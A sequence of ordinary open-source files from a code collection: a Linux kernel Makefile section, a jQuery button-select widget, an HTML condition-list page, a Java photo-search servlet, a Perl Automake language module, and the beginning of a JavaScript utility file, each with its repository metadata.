$(Q)$(MAKE) $(hdr-inst)=include/uapi HDRCHECK=1
$(Q)$(MAKE) $(hdr-inst)=arch/$(hdr-arch)/include/uapi/asm $(hdr-dst) HDRCHECK=1
# ---------------------------------------------------------------------------
# Modules
ifdef CONFIG_MODULES
# By default, build modules as well
all: modules
# Build modules
#
# A module can be listed more than once in obj-m resulting in
# duplicate lines in modules.order files. Those are removed
# using awk while concatenating to the final file.
PHONY += modules
modules: $(vmlinux-dirs) $(if $(KBUILD_BUILTIN),vmlinux) modules.builtin
$(Q)$(AWK) '!x[$$0]++' $(vmlinux-dirs:%=$(objtree)/%/modules.order) > $(objtree)/modules.order
@$(kecho) ' Building modules, stage 2.';
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.fwinst obj=firmware __fw_modbuild
modules.builtin: $(vmlinux-dirs:%=%/modules.builtin)
$(Q)$(AWK) '!x[$$0]++' $^ > $(objtree)/modules.builtin
%/modules.builtin: include/config/auto.conf
$(Q)$(MAKE) $(modbuiltin)=$*
# Target to prepare building external modules
PHONY += modules_prepare
modules_prepare: prepare scripts
# Target to install modules
PHONY += modules_install
modules_install: _modinst_ _modinst_post
PHONY += _modinst_
_modinst_:
@rm -rf $(MODLIB)/kernel
@rm -f $(MODLIB)/source
@mkdir -p $(MODLIB)/kernel
@ln -s $(srctree) $(MODLIB)/source
@if [ ! $(objtree) -ef $(MODLIB)/build ]; then \
rm -f $(MODLIB)/build ; \
ln -s $(objtree) $(MODLIB)/build ; \
fi
@cp -f $(objtree)/modules.order $(MODLIB)/
@cp -f $(objtree)/modules.builtin $(MODLIB)/
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modinst
# This depmod is only for convenience to give the initial
# boot a modules.dep even before / is mounted read-write. However the
# boot script depmod is the master version.
PHONY += _modinst_post
_modinst_post: _modinst_
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.fwinst obj=firmware __fw_modinst
$(call cmd,depmod)
ifeq ($(CONFIG_MODULE_SIG), y)
PHONY += modules_sign
modules_sign:
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modsign
endif
else # CONFIG_MODULES
# Modules not configured
# ---------------------------------------------------------------------------
modules modules_install: FORCE
@echo >&2
@echo >&2 "The present kernel configuration has modules disabled."
@echo >&2 "Type 'make config' and enable loadable module support."
@echo >&2 "Then build a kernel with module support enabled."
@echo >&2
@exit 1
endif # CONFIG_MODULES
###
# Cleaning is done on three levels.
# make clean Delete most generated files
# Leave enough to build external modules
# make mrproper Delete the current configuration, and all generated files
# make distclean Remove editor backup files, patch leftover files and the like
# Directories & files removed with 'make clean'
CLEAN_DIRS += $(MODVERDIR)
# Directories & files removed with 'make mrproper'
MRPROPER_DIRS += include/config usr/include include/generated \
arch/*/include/generated
MRPROPER_FILES += .config .config.old .version .old_version $(version_h) \
Module.symvers tags TAGS cscope* GPATH GTAGS GRTAGS GSYMS \
signing_key.priv signing_key.x509 x509.genkey \
extra_certificates signing_key.x509.keyid \
signing_key.x509.signer
# clean - Delete most, but leave enough to build external modules
#
clean: rm-dirs := $(CLEAN_DIRS)
clean: rm-files := $(CLEAN_FILES)
clean-dirs := $(addprefix _clean_, . $(vmlinux-alldirs) Documentation samples)
PHONY += $(clean-dirs) clean archclean vmlinuxclean
$(clean-dirs):
$(Q)$(MAKE) $(clean)=$(patsubst _clean_%,%,$@)
vmlinuxclean:
$(Q)$(CONFIG_SHELL) $(srctree)/scripts/link-vmlinux.sh clean
clean: archclean vmlinuxclean
# mrproper - Delete all generated files, including .config
#
mrproper: rm-dirs := $(wildcard $(MRPROPER_DIRS))
mrproper: rm-files := $(wildcard $(MRPROPER_FILES))
mrproper-dirs := $(addprefix _mrproper_,Documentation/DocBook scripts)
PHONY += $(mrproper-dirs) mrproper archmrproper
$(mrproper-dirs):
$(Q)$(MAKE) $(clean)=$(patsubst _mrproper_%,%,$@)
mrproper: clean archmrproper $(mrproper-dirs)
$(call cmd,rmdirs)
$(call cmd,rmfiles)
# distclean
#
PHONY += distclean
distclean: mrproper
@find $(srctree) $(RCS_FIND_IGNORE) \
\( -name '*.orig' -o -name '*.rej' -o -name '*~' \
-o -name '*.bak' -o -name '#*#' -o -name '.*.orig' \
-o -name '.*.rej' \
-o -name '*%' -o -name '.*.cmd' -o -name 'core' \) \
-type f -print | xargs rm -f
# Packaging of the kernel to various formats
# ---------------------------------------------------------------------------
# rpm target kept for backward compatibility
package-dir := $(srctree)/scripts/package
%src-pkg: FORCE
$(Q)$(MAKE) $(build)=$(package-dir) $@
%pkg: include/config/kernel.release FORCE
$(Q)$(MAKE) $(build)=$(package-dir) $@
rpm: include/config/kernel.release FORCE
$(Q)$(MAKE) $(build)=$(package-dir) $@
# Brief documentation of the typical targets used
# ---------------------------------------------------------------------------
boards := $(wildcard $(srctree)/arch/$(SRCARCH)/configs/*_defconfig)
boards := $(notdir $(boards))
board-dirs := $(dir $(wildcard $(srctree)/arch/$(SRCARCH)/configs/*/*_defconfig))
board-dirs := $(sort $(notdir $(board-dirs:/=)))
help:
@echo 'Cleaning targets:'
@echo ' clean - Remove most generated files but keep the config and'
@echo ' enough build support to build external modules'
@echo ' mrproper - Remove all generated files + config + various backup files'
@echo ' distclean - mrproper + remove editor backup and patch files'
@echo ''
@echo 'Configuration targets:'
@$(MAKE) -f $(srctree)/scripts/kconfig/Makefile help
@echo ''
@echo 'Other generic targets:'
@echo ' all - Build all targets marked with [*]'
@echo '* vmlinux - Build the bare kernel'
@echo '* modules - Build all modules'
@echo ' modules_install - Install all modules to INSTALL_MOD_PATH (default: /)'
@echo ' firmware_install- Install all firmware to INSTALL_FW_PATH'
@echo ' (default: $$(INSTALL_MOD_PATH)/lib/firmware)'
@echo ' dir/ - Build all files in dir and below'
@echo ' dir/file.[oisS] - Build specified target only'
@echo ' dir/file.lst - Build specified mixed source/assembly target only'
@echo ' (requires a recent binutils and recent build (System.map))'
@echo ' dir/file.ko - Build module including final link'
@echo ' modules_prepare - Set up for building external modules'
@echo ' tags/TAGS - Generate tags file for editors'
@echo ' cscope - Generate cscope index'
@echo ' gtags - Generate GNU GLOBAL index'
@echo ' kernelrelease - Output the release version string'
@echo ' kernelversion - Output the version stored in Makefile'
@echo ' headers_install - Install sanitised kernel headers to INSTALL_HDR_PATH'; \
echo ' (default: $(INSTALL_HDR_PATH))'; \
echo ''
@echo 'Static analysers'
@echo ' checkstack - Generate a list of stack hogs'
@echo ' namespacecheck - Name space analysis on compiled kernel'
@echo ' versioncheck - Sanity check on version.h usage'
@echo ' includecheck - Check for duplicate included header files'
@echo ' export_report - List the usages of all exported symbols'
@echo ' headers_check - Sanity check on exported headers'
@echo ' headerdep - Detect inclusion cycles in headers'
@$(MAKE) -f $(srctree)/scripts/Makefile.help checker-help
@echo ''
@echo 'Kernel packaging:'
@$(MAKE) $(build)=$(package-dir) help
@echo ''
@echo 'Documentation targets:'
@$(MAKE) -f $(srctree)/Documentation/DocBook/Makefile dochelp
@echo ''
@echo 'Architecture specific targets ($(SRCARCH)):'
@$(if $(archhelp),$(archhelp),\
echo ' No architecture specific help defined for $(SRCARCH)')
@echo ''
@$(if $(boards), \
$(foreach b, $(boards), \
printf " %-24s - Build for %s\\n" $(b) $(subst _defconfig,,$(b));) \
echo '')
@$(if $(board-dirs), \
$(foreach b, $(board-dirs), \
printf " %-16s - Show %s-specific targets\\n" help-$(b) $(b);) \
printf " %-16s - Show all of the above\\n" help-boards; \
echo '')
@echo ' make V=0|1 [targets] 0 => quiet build (default), 1 => verbose build'
@echo ' make V=2 [targets] 2 => give reason for rebuild of target'
@echo ' make O=dir [targets] Locate all output files in "dir", including .config'
@echo ' make C=1 [targets] Check all c source with $$CHECK (sparse by default)'
@echo ' make C=2 [targets] Force check of all c source with $$CHECK'
@echo ' make RECORDMCOUNT_WARN=1 [targets] Warn about ignored mcount sections'
@echo ' make W=n [targets] Enable extra gcc checks, n=1,2,3 where'
@echo ' 1: warnings which may be relevant and do not occur too often'
@echo ' 2: warnings which occur quite often but may still be relevant'
@echo ' 3: more obscure warnings, can most likely be ignored'
@echo ' Multiple levels can be combined with W=12 or W=123'
@echo ''
@echo 'Execute "make" or "make all" to build all targets marked with [*] '
@echo 'For further info see the ./README file'
help-board-dirs := $(addprefix help-,$(board-dirs))
help-boards: $(help-board-dirs)
boards-per-dir = $(notdir $(wildcard $(srctree)/arch/$(SRCARCH)/configs/$*/*_defconfig))
$(help-board-dirs): help-%:
@echo 'Architecture specific targets ($(SRCARCH) $*):'
@$(if $(boards-per-dir), \
$(foreach b, $(boards-per-dir), \
printf " %-24s - Build for %s\\n" $*/$(b) $(subst _defconfig,,$(b));) \
echo '')
# Documentation targets
# ---------------------------------------------------------------------------
%docs: scripts_basic FORCE
$(Q)$(MAKE) $(build)=scripts build_docproc
$(Q)$(MAKE) $(build)=Documentation/DocBook $@
else # KBUILD_EXTMOD
###
# External module support.
# When building external modules the kernel used as basis is considered
# read-only, and no consistency checks are made and the make
# system is not used on the basis kernel. If updates are required
# in the basis kernel ordinary make commands (without M=...) must
# be used.
#
# The following are the only valid targets when building external
# modules.
# make M=dir clean Delete all automatically generated files
# make M=dir modules Make all modules in specified dir
# make M=dir Same as 'make M=dir modules'
# make M=dir modules_install
# Install the modules built in the module directory
# Assumes install directory is already created
# We are always building modules
KBUILD_MODULES := 1
PHONY += crmodverdir
crmodverdir:
$(cmd_crmodverdir)
PHONY += $(objtree)/Module.symvers
$(objtree)/Module.symvers:
@test -e $(objtree)/Module.symvers || ( \
echo; \
echo " WARNING: Symbol version dump $(objtree)/Module.symvers"; \
echo " is missing; modules will have no dependencies and modversions."; \
echo )
module-dirs := $(addprefix _module_,$(KBUILD_EXTMOD))
PHONY += $(module-dirs) modules
$(module-dirs): crmodverdir $(objtree)/Module.symvers
$(Q)$(MAKE) $(build)=$(patsubst _module_%,%,$@)
modules: $(module-dirs)
@$(kecho) ' Building modules, stage 2.';
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost
PHONY += modules_install
modules_install: _emodinst_ _emodinst_post
install-dir := $(if $(INSTALL_MOD_DIR),$(INSTALL_MOD_DIR),extra)
PHONY += _emodinst_
_emodinst_:
$(Q)mkdir -p $(MODLIB)/$(install-dir)
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modinst
PHONY += _emodinst_post
_emodinst_post: _emodinst_
$(call cmd,depmod)
clean-dirs := $(addprefix _clean_,$(KBUILD_EXTMOD))
PHONY += $(clean-dirs) clean
$(clean-dirs):
$(Q)$(MAKE) $(clean)=$(patsubst _clean_%,%,$@)
clean: rm-dirs := $(MODVERDIR)
clean: rm-files := $(KBUILD_EXTMOD)/Module.symvers
help:
@echo ' Building external modules.'
@echo ' Syntax: make -C path/to/kernel/src M=$$PWD target'
@echo ''
@echo ' modules - default target, build the module(s)'
@echo ' modules_install - install the module'
@echo ' clean - remove generated files in module directory only'
@echo ''
# Dummies...
PHONY += prepare scripts
prepare: ;
scripts: ;
endif # KBUILD_EXTMOD
clean: $(clean-dirs)
$(call cmd,rmdirs)
$(call cmd,rmfiles)
@find $(if $(KBUILD_EXTMOD), $(KBUILD_EXTMOD), .) $(RCS_FIND_IGNORE) \
\( -name '*.[oas]' -o -name '*.ko' -o -name '.*.cmd' \
-o -name '*.ko.*' \
-o -name '.*.d' -o -name '.*.tmp' -o -name '*.mod.c' \
-o -name '*.symtypes' -o -name 'modules.order' \
-o -name modules.builtin -o -name '.tmp_*.o.*' \
-o -name '*.gcno' \) -type f -print | xargs rm -f
# Generate tags for editors
# ---------------------------------------------------------------------------
quiet_cmd_tags = GEN $@
cmd_tags = $(CONFIG_SHELL) $(srctree)/scripts/tags.sh $@
tags TAGS cscope gtags: FORCE
$(call cmd,tags)
# Scripts to check various things for consistency
# ---------------------------------------------------------------------------
PHONY += includecheck versioncheck coccicheck namespacecheck export_report
includecheck:
find $(srctree)/* $(RCS_FIND_IGNORE) \
-name '*.[hcS]' -type f -print | sort \
| xargs $(PERL) -w $(srctree)/scripts/checkincludes.pl
versioncheck:
find $(srctree)/* $(RCS_FIND_IGNORE) \
-name '*.[hcS]' -type f -print | sort \
| xargs $(PERL) -w $(srctree)/scripts/checkversion.pl
coccicheck:
$(Q)$(CONFIG_SHELL) $(srctree)/scripts/$@
namespacecheck:
$(PERL) $(srctree)/scripts/namespace.pl
export_report:
$(PERL) $(srctree)/scripts/export_report.pl
endif #ifeq ($(config-targets),1)
endif #ifeq ($(mixed-targets),1)
PHONY += checkstack kernelrelease kernelversion
# UML needs a little special treatment here. It wants to use the host
# toolchain, so needs $(SUBARCH) passed to checkstack.pl. Everyone
# else wants $(ARCH), including people doing cross-builds, which means
# that $(SUBARCH) doesn't work here.
ifeq ($(ARCH), um)
CHECKSTACK_ARCH := $(SUBARCH)
else
CHECKSTACK_ARCH := $(ARCH)
endif
checkstack:
$(OBJDUMP) -d vmlinux $$(find . -name '*.ko') | \
$(PERL) $(src)/scripts/checkstack.pl $(CHECKSTACK_ARCH)
kernelrelease:
@echo "$(KERNELVERSION)$$($(CONFIG_SHELL) $(srctree)/scripts/setlocalversion $(srctree))"
kernelversion:
@echo $(KERNELVERSION)
# Clear a bunch of variables before executing the submake
tools/: FORCE
$(Q)mkdir -p $(objtree)/tools
$(Q)$(MAKE) LDFLAGS= MAKEFLAGS="$(filter --j% -j,$(MAKEFLAGS))" O=$(objtree) subdir=tools -C $(src)/tools/
tools/%: FORCE
$(Q)mkdir -p $(objtree)/tools
$(Q)$(MAKE) LDFLAGS= MAKEFLAGS="$(filter --j% -j,$(MAKEFLAGS))" O=$(objtree) subdir=tools -C $(src)/tools/ $*
# Single targets
# ---------------------------------------------------------------------------
# Single targets are compatible with:
# - build with mixed source and output
# - build with separate output dir 'make O=...'
# - external modules
#
# target-dir => where to store outputfile
# build-dir => directory in kernel source tree to use
ifeq ($(KBUILD_EXTMOD),)
build-dir = $(patsubst %/,%,$(dir $@))
target-dir = $(dir $@)
else
zap-slash=$(filter-out .,$(patsubst %/,%,$(dir $@)))
build-dir = $(KBUILD_EXTMOD)$(if $(zap-slash),/$(zap-slash))
target-dir = $(if $(KBUILD_EXTMOD),$(dir $<),$(dir $@))
endif
%.s: %.c prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
%.i: %.c prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
%.o: %.c prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
%.lst: %.c prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
%.s: %.S prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
%.o: %.S prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
%.symtypes: %.c prepare scripts FORCE
$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
# Modules
/: prepare scripts FORCE
$(cmd_crmodverdir)
$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
$(build)=$(build-dir)
%/: prepare scripts FORCE
$(cmd_crmodverdir)
$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
$(build)=$(build-dir)
%.ko: prepare scripts FORCE
$(cmd_crmodverdir)
$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
$(build)=$(build-dir) $(@:.ko=.o)
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost
# FIXME Should go into a make.lib or something
# ===========================================================================
quiet_cmd_rmdirs = $(if $(wildcard $(rm-dirs)),CLEAN $(wildcard $(rm-dirs)))
cmd_rmdirs = rm -rf $(rm-dirs)
quiet_cmd_rmfiles = $(if $(wildcard $(rm-files)),CLEAN $(wildcard $(rm-files)))
cmd_rmfiles = rm -f $(rm-files)
# Run depmod only if we have System.map and depmod is executable
quiet_cmd_depmod = DEPMOD $(KERNELRELEASE)
cmd_depmod = $(CONFIG_SHELL) $(srctree)/scripts/depmod.sh $(DEPMOD) \
$(KERNELRELEASE) "$(patsubst y,_,$(CONFIG_HAVE_UNDERSCORE_SYMBOL_PREFIX))"
# Create temporary dir for module support files
# clean it up only when building all modules
cmd_crmodverdir = $(Q)mkdir -p $(MODVERDIR) \
$(if $(KBUILD_MODULES),; rm -f $(MODVERDIR)/*)
# read all saved command lines
targets := $(wildcard $(sort $(targets)))
cmd_files := $(wildcard .*.cmd $(foreach f,$(targets),$(dir $(f)).$(notdir $(f)).cmd))
ifneq ($(cmd_files),)
$(cmd_files): ; # Do not try to update included dependency files
include $(cmd_files)
endif
# Shorthand for $(Q)$(MAKE) -f scripts/Makefile.clean obj=dir
# Usage:
# $(Q)$(MAKE) $(clean)=dir
clean := -f $(if $(KBUILD_SRC),$(srctree)/)scripts/Makefile.clean obj
endif # skip-makefile
PHONY += FORCE
FORCE:
# Declare the contents of the .PHONY variable as phony. We keep that
# information in a variable so we can use it in if_changed and friends.
.PHONY: $(PHONY)
|
Fechinator/android_kernel_huawei_angler
|
Makefile
|
Makefile
|
gpl-2.0
| 49,842
|
/*
* jUIcy Button Select
*
* Depends:
* jquery.ui.core.js
* jquery.ui.widget.js
* jquery.ui.button.js
*/
(function( $ ) {
$.widget( "juicy.buttonselect", {
options: {
name: '',
items: {},
wrapTemplate: '',
click: null
},
_create: function()
{
this.element.addClass( 'juicy-buttonselect' );
this._appendInputs();
},
_setOption: function( key, value )
{
$.Widget.prototype._setOption.apply( this, arguments );
switch( key ) {
case 'name':
case 'items':
case 'wrapTemplate':
this.refresh();
break;
}
},
destroy: function()
{
this.element
.removeClass( 'juicy-buttonselect juicy-buttonselect-single' )
.empty();
$.Widget.prototype.destroy.call( this );
},
/**
* settings = {
* type: radio|checkbox
* id: id attribute
* name: name attribute
* value: value attribute
* labelText: label text
* wrap: element to wrap around input
* checked: boolean
* }
*/
_newInput: function( target, settings )
{
var realTarget,
input =
$('<input />')
.attr( 'type', settings.type )
.attr( 'id', settings.id )
.attr( 'name', settings.name )
.attr( 'value', settings.value ),
label =
$('<label></label>')
.attr( 'for', settings.id )
.html( settings.labelText );
if ( settings.checked ) {
input.attr( 'checked', 'checked' );
}
if ( settings.wrap.length ) {
realTarget = $( settings.wrap ).appendTo( target );
} else {
realTarget = target;
}
realTarget.append( input, label );
return input;
},
_appendInputs: function()
{
var self = this,
o = this.options,
checked = true;
this.element.addClass( 'juicy-buttonselect-single' );
$.each( o.items, function( key, val ){
self._newInput(
self.element,
{
type: 'radio',
id: o.name + '-' + key,
name: o.name,
value: key,
labelText: val,
wrap: o.wrapTemplate,
checked: checked
}
)
.button()
.click( function(){
self._updButtons();
o.click();
});
checked = false;
});
self._updButtons();
},
_getButtonIcon: function( input )
{
if ( input.is(':checked') ) {
return 'ui-icon-bullet';
} else {
return 'ui-icon-radio-off';
}
},
_updButtons: function()
{
var self = this;
$( 'input', this.element )
.each( function() {
var input = $(this),
icon = self._getButtonIcon( input );
input
.button( 'refresh' )
.button( 'option', 'icons', {primary: icon} );
});
},
refresh: function()
{
this.element.empty();
this._appendInputs();
},
selectedValue: function( newValue )
{
if ( arguments.length ) {
$( 'input', this.element )
.each( function(){
$(this).removeAttr( 'checked' );
if ( $(this).val() == newValue ) {
$(this).attr( 'checked', 'checked' );
}
});
this._updButtons();
return null;
} else {
return $( 'input:checked', this.element ).val();
}
}
});
$.widget( "juicy.buttonselectmulti", $.juicy.buttonselect, {
destroy: function()
{
this.element.removeClass( 'juicy-buttonselectmulti' );
$.juicy.buttonselect.destroy.call( this );
},
_appendInputs: function()
{
var self = this,
o = this.options;
this.element.addClass( 'juicy-buttonselectmulti' );
$.each( o.items, function( key, val ){
self._newInput(
self.element,
{
type: 'checkbox',
id: o.name + '-' + key,
name: o.name,
value: key,
labelText: val,
wrap: o.wrapTemplate,
checked: true
}
)
.button()
.click( function() {
self._updButtons();
o.click();
});
});
self._updButtons();
},
_getButtonIcon: function( input )
{
if ( input.is(':checked') ) {
return 'ui-icon-circle-check';
} else {
return 'ui-icon-circle-plus';
}
},
selectedValue: function( newValue )
{
if ( arguments.length ) {
$( 'input', this.element )
.each( function(){
$(this).removeAttr( 'checked' );
if ( $.inArray( $(this).val(), newValue ) != -1 ) {
$(this).attr( 'checked', 'checked' );
}
});
this._updButtons();
return null;
} else {
var value = [];
$( 'input:checked', this.element )
.each( function(){
value.push( $(this).val() );
});
return value;
}
}
});
}( jQuery ) );
|
karysto/cord-network
|
wp-content/themes/cbox-theme/engine/ICE/assets/js/juicy/jquery.juicy.buttonselect.js
|
JavaScript
|
gpl-2.0
| 4,514
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Preserven</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width">
<link rel="stylesheet" href="/assets/css/normalize.css">
<link rel="stylesheet" href="/assets/css/app.css">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="/assets/scripts/functions.js"></script>
</head>
<body>
<header>
<img src="/assets/img/logga.png" alt="">
<ul id="menu">
<li><a href="/">Möbler</a></li>
<li><a href="/locations/index.html">Platser</a></li>
<li><a href="/types/index.html">Möbeltyper</a></li>
<li><a href="/conditions/index.html">Skick</a></li>
<li><a href="/users/index.html">Användare</a></li>
</ul>
<script>
if(getCookie("token")!=""){ $("#menu").append( "<li><a href=\"javascript:logout();;\">Logga ut</a></li>");}
else{ $("#menu").append( "<li><a href=\"/login.html\">Logga in</a></li>"); }
</script>
</header>
<content>
<div id="addpanel">
<a href="/conditions/add.html">Lägg Till</a>
</div>
<div id="objectlist">
<script>
var txt = "";
$.getJSON("/api/conditions/",function(data,status){
txt= txt + "<table >";
txt= txt + "<tr><td>ID:</td><td>Namn:</td><td>Sorterings värde:</td><td>Beskrivning:</td></tr>";
data.forEach(function(entry) {
txt= txt +"<tr>"
txt= txt + "<td>"+entry.id+"</td>" + "<td>"+entry.name+"</td>" + "<td>"+entry.value+"</td>" +"<td>"+entry.discription+"</td>";
if(getCookie('token')!="")
{
txt += "<td> <a href=\"javascript:deleteObject('"+entry.id+"','conditions');;\">Ta bort</a></td>";
}
txt= txt +"</tr>";
});
txt= txt +"</table>";
$('#objectlist').append('<section> Lista av skick </br>' + txt + '</section>');
});
if(getCookie('token')=="")
{
$('#addpanel').hide();
}
</script>
</div>
</content>
<footer>
footer
</footer>
</body>
</html>
|
draca/storageapp
|
app/Conditions/index.html
|
HTML
|
gpl-2.0
| 2,174
|
/*
* Created on 14/05/2005
*
* To change the template for this generated file go to
* Window>Preferences>Java>Code Generation>Code and Comments
*/
package net.indrix.arara.servlets.photo;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import net.indrix.arara.dao.DatabaseDownException;
import net.indrix.arara.model.PhotoModel;
import net.indrix.arara.servlets.PaginationController;
import net.indrix.arara.servlets.ServletConstants;
import net.indrix.arara.vo.User;
/**
* @author Jefferson
*
* To change the template for this generated type comment go to
* Window>Preferences>Java>Code Generation>Code and Comments
*/
public class SearchPhotosByFamilyServlet extends AbstractSearchPhotosServlet {
public void doGet(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException {
RequestDispatcher dispatcher = null;
ServletContext context = this.getServletContext();
String nextPage = null;
List errors = new ArrayList();
List messages = new ArrayList();
HttpSession session = req.getSession();
User user = (User) session.getAttribute(ServletConstants.USER_KEY);
String familyIdStr = (String) req.getParameter(ServletConstants.FAMILY_ID);
String action = req.getParameter(ServletConstants.ACTION);
logger.debug("SearchPhotosByFamilyServlet.doGet retrieved action " + action);
int familyId = -1;
if ((familyIdStr != null) && (!familyIdStr.equals("")) || (action != null)){
PhotoModel model = new PhotoModel ();
try {
List list = null;
PaginationController controller = getPaginationController(session);
if ((action == null) || (action.equals(ServletConstants.BEGIN))){
familyId = Integer.parseInt(familyIdStr);
list = controller.doAction(action, model.retrievePhotosForFamily(familyId));
} else {
list = controller.doAction(action);
}
logger.debug("List of photos retrieved...");
logger.debug("Putting list of photos in session");
session.setAttribute(ServletConstants.PHOTOS_LIST, list);
session.setAttribute(ServletConstants.SERVLET_TO_CALL, "/servlet/searchPhotosByFamily");
nextPage = ServletConstants.ALL_PHOTOS_PAGE;
if (user != null) {
loggerActions.info("User " + user.getLogin() + " has selected photos by family.");
} else {
loggerActions.info("Anonymous has selected all photos by family.");
}
} catch (DatabaseDownException e) {
logger.debug("DatabaseDownException.....");
errors.add(ServletConstants.DATABASE_ERROR);
} catch (SQLException e) {
logger.debug("SQLException.....", e);
errors.add(ServletConstants.DATABASE_ERROR);
}
} else {
errors.add(ServletConstants.SELECT_FAMILY_ERROR);
}
if (!errors.isEmpty()) {
logger.debug("errors is not null.");
// put errors in request
req.setAttribute(ServletConstants.ERRORS_KEY, errors);
nextPage = ServletConstants.PHOTO_BY_FAMILY_PAGE;
}
dispatcher = context.getRequestDispatcher(nextPage);
logger.debug("Dispatching to " + nextPage);
dispatcher.forward(req, res);
}
}
|
BackupTheBerlios/arara-svn
|
core.old/src/main/java/net/indrix/arara/servlets/photo/SearchPhotosByFamilyServlet.java
|
Java
|
gpl-2.0
| 3,990
|
# Copyright (C) 2013-2017 Free Software Foundation, Inc.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
package Automake::Language;
use 5.006;
use strict;
use Class::Struct ();
Class::Struct::struct (
# Short name of the language (c, f77...).
'name' => "\$",
# Nice name of the language (C, Fortran 77...).
'Name' => "\$",
# List of configure variables which must be defined.
'config_vars' => '@',
# 'pure' is '1' or ''. A 'pure' language is one where, if
# all the files in a directory are of that language, then we
# do not require the C compiler or any code to call it.
'pure' => "\$",
'autodep' => "\$",
# Name of the compiling variable (COMPILE).
'compiler' => "\$",
# Content of the compiling variable.
'compile' => "\$",
# Flag to require compilation without linking (-c).
'compile_flag' => "\$",
'extensions' => '@',
# A subroutine to compute a list of possible extensions of
# the product given the input extensions.
# (defaults to a subroutine which returns ('.$(OBJEXT)', '.lo'))
'output_extensions' => "\$",
# A list of flag variables used in 'compile'.
# (defaults to [])
'flags' => "@",
# Any tag to pass to libtool while compiling.
'libtool_tag' => "\$",
# The file to use when generating rules for this language.
# The default is 'depend2'.
'rule_file' => "\$",
# Name of the linking variable (LINK).
'linker' => "\$",
# Content of the linking variable.
'link' => "\$",
# Name of the compiler variable (CC).
'ccer' => "\$",
# Name of the linker variable (LD).
'lder' => "\$",
# Content of the linker variable ($(CC)).
'ld' => "\$",
# Flag to specify the output file (-o).
'output_flag' => "\$",
'_finish' => "\$",
# This is a subroutine which is called whenever we finally
# determine the context in which a source file will be
# compiled.
'_target_hook' => "\$",
# If TRUE, nodist_ sources will be compiled using specific rules
# (i.e. not inference rules). The default is FALSE.
'nodist_specific' => "\$");
sub finish ($)
{
my ($self) = @_;
if (defined $self->_finish)
{
&{$self->_finish} (@_);
}
}
sub target_hook ($$$$%)
{
my ($self) = @_;
if (defined $self->_target_hook)
{
$self->_target_hook->(@_);
}
}
1;
### Setup "GNU" style for perl-mode and cperl-mode.
## Local Variables:
## perl-indent-level: 2
## perl-continued-statement-offset: 2
## perl-continued-brace-offset: 0
## perl-brace-offset: 0
## perl-brace-imaginary-offset: 0
## perl-label-offset: -2
## cperl-indent-level: 2
## cperl-brace-offset: 0
## cperl-continued-brace-offset: 0
## cperl-label-offset: -2
## cperl-extra-newline-before-brace: t
## cperl-merge-trailing-else: nil
## cperl-continued-statement-offset: 2
## End:
|
Starlink/automake
|
lib/Automake/Language.pm
|
Perl
|
gpl-2.0
| 3,293
|
const List = require('immutable').List
const F = require('fraction.js')
const CARET = '^'
const CIFRAO = '$'
const DECIMAL = 10
const EMPTY_LIST = List()
const ZERO = F(0)
util = {
listToFraction: (list) => {
if(list.size === 1) {
return F(list.get(0))
} else if(list.size === 2) {
return F(list.get(0), list.get(1))
} else {
return undefined
}
},
convertBool: (bool) => (
{true: 1, false: 0}[bool.toString()]
),
size: {
number: (number) => {
if(Math.abs(number) < 1) {
return 1
} else {
return Math.floor(Math.log10(Math.abs(number))) + 1 + util.convertBool(number<0)
}
},
fraction: (fraction) => {
if(fraction.d === 1) {
return util.size.number(fraction.n) + util.convertBool(fraction.s === -1)
} else {
return util.size.number(fraction.n) + 1 + util.size.number(fraction.d) + util.convertBool(fraction.s === -1)
}
},
vector: (vector, index=ZERO, size=ZERO) => {
}
},
test: {
trivialTester: (regex) => (
(str) => (RegExp(regex).test(str))
),
openParens: (str) => (util.test.trivialTester('^' + util.regex.openParens())(str)),
closeParens: (str) => (util.test.trivialTester('^' + util.regex.closeParens())(str)),
divider: (str) => (util.test.trivialTester('^' + util.regex.divider())(str)),
slash: (str) => (util.test.trivialTester('^' + util.regex.slash())(str)),
digit: (str) => (util.test.trivialTester('^' + util.regex.digit())(str)),
number: (str) => (util.test.trivialTester('^' + util.regex.number())(str)),
fraction: (str) => (util.test.trivialTester('^' + util.regex.fraction())(str)),
